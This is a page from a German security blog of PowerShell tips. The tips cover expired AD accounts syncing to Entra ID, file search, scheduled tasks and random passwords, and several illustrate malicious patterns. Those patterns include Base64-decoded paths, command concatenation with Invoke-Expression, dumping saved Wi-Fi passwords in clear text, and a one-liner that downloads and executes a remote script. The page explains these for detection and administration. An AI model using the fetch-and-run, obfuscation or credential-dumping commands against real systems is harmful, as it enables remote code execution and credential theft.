Der Waldmeister

Einblicke in (Security)-Themen ausm tiefen Wald

Abgelaufene AD-Konten in Entra ID

Wer ein on-premise AD betreibt, das in die Cloud synct, also sich mit dem (früheren AzureAD) Entra ID verschmelzt, der sollte tunlichst darauf achten, dass abgelaufene Konten aus dem on-premise AD dann plötzlich wieder nutzbar sind im Entra ID.

Dieser Zusammenhang besteht, wenn das Attribut expiration-date gefüllt ist, aber der Account weiterhin auf „enabled“ steht. Da es im Entra ID kein expiration-date gibt, werden also bei einem Sync-Vorgang geglaubte deaktivierte Konten „plötzlich“ wieder aktiv.

Um hier eine Lösung zu finden, sollten per PowerShell alle Konten, die ein Ablaufdatum (expiration-date) in der Vergangenheit haben, tunlichst deaktiviert werden. Das geht wie folgt:

Search-ADAccount -AccountExpired -UsersOnly

Hiermit kann man sich die abgelaufenen Konten heraussuchen und manuell prüfen, ob diese weiterhin auf „enabled“ stehen.

Ist man sich sicher, dass all diese Account auch deaktiviert werden können/sollten, dann pipt man das Ergebnis an den Befehl disable-adaccount, wie folgt:

Search-ADAccount -AccountExpired -UsersOnly | Disable-ADAccount

Man kann natürlich noch tiefergehend graben, indem man folgende Suche verwendet:

Get-ADUser -Filter {Enabled -eq $true} -properties AccountExpirationDate | Where-Object{$_.AccountExpirationDate -lt (Get-Date) -and $_.AccountExpirationDate -ne $null} | select-object SamAccountName, AccountExpirationDate

Auch hier kann man sich dann mittels Piping das Disablen hinten dran hängen.

Suche in Dateien nach Inhalten

Bevor man den Windows-Explorer anschmeißt um Dateien und dessen Inhalte zu suchen, ist man mittels PowerShell hier eventuell viel schneller unterwegs. Dazu bedient man sich des folgenden Befehls:

Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'suchwort' -CaseSensitive

Vorteil dieser Methode ist, dass man hier gezielt mit Platzhaltern agieren kann, wie folgt:

  • Pfadangaben, auch mit Wildcards zwischendrin
  • Prüfung auf Groß- und Kleinschreibung falls gewünscht

Scheduled Task erstellen

Unter Windows lassen sich PowerShell-Befehle auch ganz einfach in einen wiederkehrenden Task, sogenannte Scheduled Tasks, verwandeln. Folgendes Beispiel illustriert diese Vorgehensweise:

$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "BEFEHL"';

$trigger = New-ScheduledTaskTrigger -AtStartup;

Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'Mein Task' -Description 'Beschreibung'

Man muss also lediglich das Feld „BEFEHL“ durch den PowerShell-Befehl ersetzen.

Alias von Kommandos

Neben dem Verstecken von Kommandos gibt es auch noch die einfache Möglichkeit die vorhandenen PowerShell-Kommandos mit Aliasen zu versehen. Das kann praktische Gründe haben, kann aber auch im Rahmen von Malware vorkommen, wenn man Kommandos verstecken will.

Ein Alias geht wie folgt:

$alias = 'Get-Dir';

Set-Alias -Name $alias -Value Get-ChildItem;

Invoke-Expression $alias

Hier gilt es also auf die Stichwörter Set-Alias sowie erneut auf Invoke-Expression zu achten.

Komplexes Passwort per Zufall erzeugen

Es gibt viele Tipps und Tricks, um sich ein komplexes Passwort automatisiert erzeugen zu lassen. So bin ich beispielsweise auf diesen tollen PowerShell User Blog gestoßen, der detailliert erläutert wie man beim Erstellen solch eines Scripts vorgeht, und welche sicherheitstechnischen Anforderungen zu beachten sind.

Ich hatte das Ziel das Script möglichst klein zu halten mit der Anforderung, die zulässigen Zeichen selbst festlegen zu können.

Ich habe die ähnlich aussehenden Zeichen für „O“, „o“, „0“ somit entfernt und auch nur die Sonderzeichen genommen, die man eindeutig lesen kann.

Herauskommen ist folgendes und funktioniert tadellos:

-Join("ABCDabcd&@#$%1234".tochararray() | Get-Random -Count 10 | % {[char]$_})

Als Parameter dienen folgende Angaben:

  • count: Anzahl der Zeichen des Passworts
  • Zeichen in Klammern: hier legt man fest welche Zeichen im Passwort vorkommen sollen

Pfad-Angaben verstecken

Auf der Suche nach Mustern für verdächtige PowerShell-Ausführungen (weitere Beispiele) findet sich auch oft die Nutzung von codierten Strings.

Beispiel ist die zuvor codierte Pfadangabe mittels Base64 dann beim „Opfer“ wieder in eine lesbare Pfadangabe zu decodierten und dann auszuführen, wie folgt:

$path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVGVtcFxBZG1pblRvb2xz'));

Invoke-Item $path

Es gilt also auf die Befehle „Invoke-Item“ zu achten.

Verstecken von Kommandos

Bei maliziösen PowerShells in freier Wildbahn sollte man auf der Hut. Allerdings muss man auch die besagten Kommandos erkennen, die schadhaft oder zumindest verdächtig sind.

Die „Endgegner“ versuchen mit allen Methoden ihre Künste zu verstecken, sowohl vor der Abwehr als auch schon bei der Erkennung sowie Ausführung.

Ein beliebtes Beispiel sind die Obfuscation- Methoden, die man immer wieder findet. Da werden Strings zusammengebaut, Codierungen wie Base64 verwendet oder die Befehle über In-Memory-Runs ausgeführt. Besonders beliebt ist auch die „Living off the land“-Methode, also die Nutzung von validen DLLs bzw. APIs von Windows. Hier heisst das Stichwort „rundll32“, „svchost.exe“ oder ganz einfach PowerShell 😉

Hier ein Beispiel für das Verstecken von Befehlssequenzen:

$o = 'Get'; $b = 'Process'; $cmd = $o + '-' + $b;

Invoke-Expression $cmd

Hier wird der PowerShell-Befehl „Get-Process“ einfach bei der Ausführung zusammengesetzt. Die Methode nennt ich „Concatenierung“ von „concat“.

Es gilt also speziell sein Augenmerk auf Befehle wie „Invoke-Expression“ bzw. ganz allgemein auf „Invoke“ zu legen.

Festplatte auf Ereignisse überwachen

Die PowerShell eignet sich auch dafür, dass man Ereignisse auf seinem Rechner im Detail überwacht, beispielsweise Aktivitäten auf der Festplatte.

Wenn eine Malware beispielsweise neue Dateien anlegt, so kann man dies mittels FileMon von SysInternals (migriert zu Process Monitor) mitbekommen. Es geht aber auch mittels PowerShell mit ein paar Befehlen, wie folgt:

$watcher = New-Object System.IO.FileSystemWatcher;
$watcher.Path = 'C:\';
$watcher.IncludeSubdirectories = $true;
$watcher.EnableRaisingEvents = $true;
Register-ObjectEvent $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }

Man erzeugt ein neues Objekt, wählt den Pfad aus, gibt an ob es auch für Unterverzeichnisse gilt, legt fest dass man benachrichtig wird, und registriert dann dieses Objekt. Es gilt allerdings nur für die Anlage von neuen Dateien.

Weitere Infos zu dem Befehl Register-ObjectEvent lässt sich nachlesen.

WLAN Passwörter auslesen

Mittels PowerShell lassen sich für alle Profile (verschiedene abgespeicherte WLANs) die jeweiligen Einstellungen als auch die mitgespeicherten Passwörter auslesen, wie folgt:

Dieser Befehl listet die abgespeicherten WLAN-Profile auf:

netsh wlan show profiles

Mit dem Profilnamen lässt sich dann das Profil auslesen, inklusive Passwort, wie folgt:


netsh wlan show profile name="WiFi-SID" key=clear

Remote Script ausführen

Es ist meist im Bereich Malware zu finden, aber manchmal gibt es wirklich die Anforderungen, dass man mittels PowerShell ein Skript aus dem Netz lädt und es dann ausführt. Dies geht wie folgt mit den beiden Befehlen:

$url = 'http://example.com/script.ps1'

Invoke-Expression (New-Object Net.WebClient).DownloadString($url)

Seite 2 von 5

Präsentiert von WordPress & Theme erstellt von Anders Norén